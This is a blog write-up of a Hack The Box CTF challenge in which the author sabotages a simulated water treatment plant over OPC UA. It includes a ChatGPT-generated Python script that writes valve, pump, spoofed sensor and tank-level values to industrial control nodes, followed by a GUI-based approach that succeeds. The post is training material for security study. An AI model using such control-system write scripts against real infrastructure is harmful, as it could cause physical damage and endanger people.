Blog Post

HTB CTF Write-up: Floody

HTB CTF Write-up: Floody
Task Force Phoenix has found a flaw in Volnaya’s water treatment plant, its 2:WaterTreatmentPlant object humming via OPC UA, supplying the government’s command center. Sabotage it to flood the complex and disrupt Operation Blackout:
- Set inlet valve to 100% open,
- Increase pump speed to 1600 RPM,
- Spoof flow sensor to 4 L/s,
- Raise tank water level to 5m

An IP address and port were provided, but trying to load it in a browser failed. Of course, this made sense — it's an OPC UA server, not a web service.

I spun up a folder for the challenge and created a virtual environment to keep things clean:

python3 -m venv venv
source venv/bin/activate

# install OPC UA library
pip install opcua

Using ChatGPT, I generated a Python script using the opcua library:

from opcua import Client
from opcua import ua

# Server connection URL
url = "opc.tcp://83.136.251.205:48377"
client = Client(url)

try:
    client.connect()
    print("Connected to OPC UA server")

    # Replace these with actual NodeIds from your server
    inlet_valve_node = client.get_node("ns=2;s=InletValve")
    pump_speed_node = client.get_node("ns=2;s=PumpSpeed")
    flow_sensor_node = client.get_node("ns=2;s=FlowSensor")
    tank_level_node = client.get_node("ns=2;s=TankLevel")

    # Write values to the nodes
    inlet_valve_node.set_value(ua.Variant(100.0, ua.VariantType.Double))   # 100% open
    pump_speed_node.set_value(ua.Variant(1600, ua.VariantType.Int16))      # 1600 RPM
    flow_sensor_node.set_value(ua.Variant(4.0, ua.VariantType.Double))     # 4 L/s
    tank_level_node.set_value(ua.Variant(5.0, ua.VariantType.Double))      # 5 meters

    print("Values successfully written to the nodes.")

finally:
    client.disconnect()
    print("Disconnected from server.")

Unfortunately, the script timed out — likely due to a mismatch in NodeIds, server config, or connection issues.

ChatGPT suggested using UaExpert, a GUI OPC UA client. Problem was, I’m on macOS, and UaExpert only supports Windows and Linux. I considered spinning up a VM but didn’t want to register for the download just yet.

So, I kept digging. I found https://github.com/FreeOpcUa/opcua-client-gui.

Apparently all I have to do is run the following commands in the terminal:

pip3 install opcua-client
opcua-client

To my surprise: connection successful!

The interface let me browse and interact with the server nodes directly. I located the valve, sensor, and pump — and was able to manually set their values as required.

The interface let me browse and interact with the server nodes directly. I located the valve, sensor, and pump — and was able to manually set their values as required

After executing the required changes via the GUI, the system responded — and the flag was logged under a variable called SecretLog.

This was a fun dive into industrial control systems and OPC UA exploitation. On to the next challenge!